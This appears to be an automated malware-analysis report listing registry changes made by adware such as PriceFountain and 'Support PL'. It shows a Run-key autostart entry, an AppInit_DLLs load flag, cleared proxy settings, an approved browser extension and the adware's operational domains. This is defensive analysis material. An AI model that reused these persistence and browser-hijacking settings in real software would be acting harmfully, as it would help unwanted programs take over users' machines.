"a47da861" = "o01O07x0m00K02E0aU1e0700m01 0640ml1e06I0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1e0700m01e0780px0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06t0i01A0780px1 02I0nU1M06m0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1Y06h0ql1M0640ml1J07b0qx1A06t0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1g06E0nx0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1N07t0oU1N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1Z0640n01Y02I0nl1 07x0aU1P06I0ox1S07b0i01e06U0n00T00%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"38583bc3" = "N//e/Ct/Vx/l/C/////%"
"37b7a6d8" = "UlAr/XJ/c//k////"
"f2c53c49" = "UlAr/XJ/c//k////"
"e46c271e" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"Mode" = "4026531840"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"e8f9dcc7" = "UlAr/XJ/c//k////"
"c99a5f5c" = "///%"
"c5705860" = "Vx////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"c24899a6" = "Vx/g/CD/Mx////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"data.0" = "ioaIE74CGT4MO0G xzIFuOLe2z7NgUUnhaMC8mxHROwVSVdCt8dIgVI4XCWY6YpYhmTSEBWEG"
"data.1" = "/GH68RFngZD7pnikg0BG0rOB7pLZTe5Uf0Yk7aPdx1eACxYznY3k7PmzqiJbSADA26YBBm4CVD4/hD5Zmy kvalb3ami"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"d1abcdb6" = "///%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"493c7345" = "i01 06b0o01D06I0px0S06I0px1O00%%, pl1e06b0i01T0780jx1B06E0nU1h02I0nl1 07x0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"CategoryName" = ""

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0dc3ee96" = "/P////%%"
"414bc593" = "///%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"bbf88800" = "///%"
"f1f24e29" = "Vl/l/C/////%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"fe94ce1e" = "V/////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"a2e3b941" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"svpath" = "c:\Program Files (x86)\Supporter\Supporter.dll"
"dlpath" = "c:\progra~2\suppor~1\suppor~1.dll"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"2d71d5ab" = "V/////%%"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"c6c5dd44" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"Version" = "22022115"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"QuietUninstallString" = "C:\Windows\system32\RUNDLL32.EXE C:\PROGRA~2\SUPPOR~1\SUPPOR~1.DLL,_uninstall /un /uq"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_b671bcdf\eae10f9d]
"dbaf3ce3" = "/P////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"65114b36" = "Vl/l////"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"iiid" = "1"
"date" = "1420685835"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"f0bf0bde" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"bbf88800" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"svt" = "1420693015"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0e93c3f3" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"svi" = "0"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"c99a5f5c" = "///%"
"3c09c42b" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"data.1" = "/GH68RFngZD7pnikg0BG0rOB7pLZTe5Uf0Yk7aPdx1eACxYznY3k7PmzqiJbSADA26YBBm4CVD4/hD5Zmy kvalb3ami"
"data.0" = "ioaIE74CGT4MO0G xzIFuOLe2z7NgUUnhaMC8mxHROwVSVdCt8dIgVI4XCWY6YpYhmTSEBWEG"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"51d2f2ea" = "JlA /Y//b/Ak/YZ/c//x/W//I//x/CD/Ux/e////"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"414bc593" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"340d3099" = "/P////%%"
"2e22d94e" = "///%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"a0743acc" = "N/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"060df2cd" = "c/Au/XV/H/Ap/X2/GP/j/Xt/axAv/X6////%"
"d94388d2" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"27ddcf6f" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"e46c271e" = "///%"
"27ddcf6f" = "///%"
"f1f24e29" = "Vl/l/C/////%"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"NoModify" = "1"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"65114b36" = "Vl/l////"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"587b5709" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12A61307-94CD-4F8E-94BC-918E511FAA81}]
"n" = "1"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"72758a5d" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"8b9e4cbc" = "V/////%%"
"7f69fa1f" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"340d3099" = "///%"
"060df2cd" = "c/Au/XV/H/Ap/X2/GP/j/Xt/axAv/X6////%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"d1abcdb6" = "///%"
"c6c5dd44" = "V/////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"1520c6f1" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"493c7345" = "i01 06b0o01D06I0px0S06I0px1O00%%, pl1e06b0i01T0780jx1B06E0nU1h02I0nl1 07x0"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"7367429f" = "///%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"3c09c42b" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""
"WpadDecisionTime" = "C8 A6 28 7D FF 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"Publisher" = "PriceLess"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"uuid" = "16567493462586752620"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"svx" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"2e22d94e" = "///%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"LRTS" = "0"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0dc3ee96" = "/P////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"a1dcff5b" = "V/////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"f6ad6fa6" = "V/////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"3efeb33e" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"d94388d2" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"
"1c311243" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"48bd1aff" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"3efeb33e" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"dbaf3ce3" = "/P////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"iiid" = "1"
"usr.0" = "ghu/Zbxztvqomjlhab"
"usr.1" = "U4bKGdg0123456789/"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"f2c53c49" = "UlAr/XJ/c//k////"

[HKLM\SOFTWARE\Wow6432Node\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}]
"n" = "1"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_b671bcdf\eae10f9d]
"340d3099" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"c5705860" = "Vx////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"svn" = "Supporter"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"72758a5d" = "///%"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"DisplayName" = "Support PL 1.1"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"38583bc3" = "N//e/Ct/Vx/l/C/////%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"c24899a6" = "Vx/g/CD/Mx////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"a47da861" = "o01O07x0m00K02E0aU1e0700m01 0640ml1e06I0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1e0700m01e0780px0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06t0i01A0780px1 02I0nU1M06m0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1Y06h0ql1M0640ml1J07b0qx1A06t0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1g06E0nx0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1N07t0oU1N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1Z0640n01Y02I0nl1 07x0aU1P06I0ox1S07b0i01e06U0n00T00%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"48bd1aff" = "V/////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"UninstallString" = "C:\Windows\system32\RUNDLL32.EXE C:\PROGRA~2\SUPPOR~1\SUPPOR~1.DLL,_uninstall /un"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"LRTS" = "0"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"1c311243" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"a1dcff5b" = "V/////%%"
"fe94ce1e" = "V/////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"usr.1" = "U4bKGdg0123456789/"
"usr.0" = "ghu/Zbxztvqomjlhab"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"7f69fa1f" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"uuid" = "16567493462586752620"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"370856c7" = ""

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"7367429f" = "///%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"f0bf0bde" = "///%"
"2d71d5ab" = "V/////%%"
"a0743acc" = "N/////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"370856c7" = ""

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"6185d035" = "VP/h/CP/V//l////"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"Mode" = "4026531840"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"37b7a6d8" = "UlAr/XJ/c//k////"
"e8f9dcc7" = "UlAr/XJ/c//k////"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"State" = "0"

[HKLM\SOFTWARE\Wow6432Node\{12A61307-94CD-4F8E-94BC-918E511FAA81}]
"be0fb33b" = "%Program Files% (x86)\Supporter\Supporter.dll"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0e93c3f3" = "///%"
"0c230bcb" = "///%"
"a2e3b941" = "///%"
"8b9e4cbc" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"date" = "1420685835"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows]
"LoadAppInit_DLLs" = "1"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"1520c6f1" = "V/////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"f6ad6fa6" = "V/////%%"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"Install_Dir" = "%Program Files% (x86)\Supporter"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"NoRepair" = "1"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"6185d035" = "VP/h/CP/V//l////"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0c230bcb" = "///%"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]

The Application deletes the following value(s) in system registry:

The process 8B7.tmp:4068 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CB EF 08 3F FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "C8 A6 28 7D FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "C8 A6 28 7D FF 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process testlsp.exe:1404 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:2144 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\PriceFountain]
"domain_operational" = "pricejs.info"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"EstimatedSize" = "1"

[HKCU\Software\PriceFountain]
"s3_url_gen" = "https://dumpster-server.herokuapp.com/manager/query"
"InstallDir" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"NoModify" = "1"
"Publisher" = "Price Fountain"

[HKCU\Software\PriceFountain]
"partner" = "somopf"

[HKCU\Software\Microsoft\Internet Explorer\Approved Extensions]
"{b608cc98-54de-4775-96c9-097de398500c}" = "51 66 7A 6C 4C 1D 3B 1B 88 D0 12 AA E1 07 18 0A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"URLInfoAbout" = "http://support.PriceFountain.net/"

[HKCU\Software\PriceFountain]
"sub_quick" = "q"
"SampleGroup" = "4"
"OriginalOptimize" = "0"
"main_log_name" = "main.log"
"InstallDateHuman" = "08/01/2015 04:54:45"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayName" = "PriceFountain (remove only)"

[HKCU\Software\PriceFountain]
"uninst" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe"
"InstallDateMachine" = "20150108045445"

"exe_moudle_name" = "EXE"
"FunnelID" = "f777ab7c-adac-458b-b198-2dc3ce7fa535"
"quick_url_path" = "/dealdo/event-report"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"HelpLink" = "http://www.PriceFountain.net/"
"NoRepair" = "1"

[HKCU\Software\PriceFountain]
"dump_folder_path" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\"
"InstGrp" = "20141204__1086__lnk_aromani_70"
"InstallStatus" = "OK"
"sub_opt" = "i"
"installId" = "v5532D312D352D32312D323835383032303933352DB48A115F3C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe,0"
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe /uninstall"

[HKCU\Software\PriceFountain]
"midnight_express_operational_domain" = "pricejs.net"
"midnight_file" = "common.js"
"dll-file-name" = "prfo.dll"
"sub_midnight" = "j"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\PriceFountain]
"DisplayVersion" = "1.0.8.6"

[HKCU\Software\PriceFountain]
"OriginalCommand" = "/muse /partner=somopf"
"mainProgFile" = "pricefountain.exe"
"dll_moudle_name" = "DLL"
"channel" = "somopf"
"brand" = "PriceFountain"
"slug" = "pricefountain"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"pricefountainw.exe" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe HKEY_CURRENT_USER Software\PriceFountain"

The process setup.exe:2468 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
